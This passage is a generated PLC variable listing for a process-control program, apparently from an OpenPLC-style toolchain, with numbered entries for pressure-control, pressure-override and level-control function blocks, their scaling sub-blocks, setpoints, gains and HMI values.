+189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +191;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +193;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +202;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +205;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +214;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +221;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +222;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +223;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +224;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +225;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +226;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +227;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +228;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +231;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +232;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +233;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +234;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +235;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +236;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +237;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +238;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +239;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +240;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +241;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +242;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +243;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +245;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +246;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +247;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +248;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +249;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +251;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +252;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +253;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +254;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +256;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +257;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +258;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +259;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +260;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +261;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +262;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +263;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +264;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +265;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +266;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +267;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +268;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +269;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +272;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +273;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +274;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +275;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +276;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +277;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +278;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +279;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +280;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +281;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +282;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +284;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +285;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +288;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +289;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +290;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +291;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +292;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +293;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +294;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +296;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +297;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +298;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +299;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +301;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +302;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +303;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +304;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +305;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +306;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +307;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +308;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +309;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +310;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +311;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +312;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +313;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +314;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +315;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +317;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +319;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +321;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +323;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +324;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +328;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +329;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; 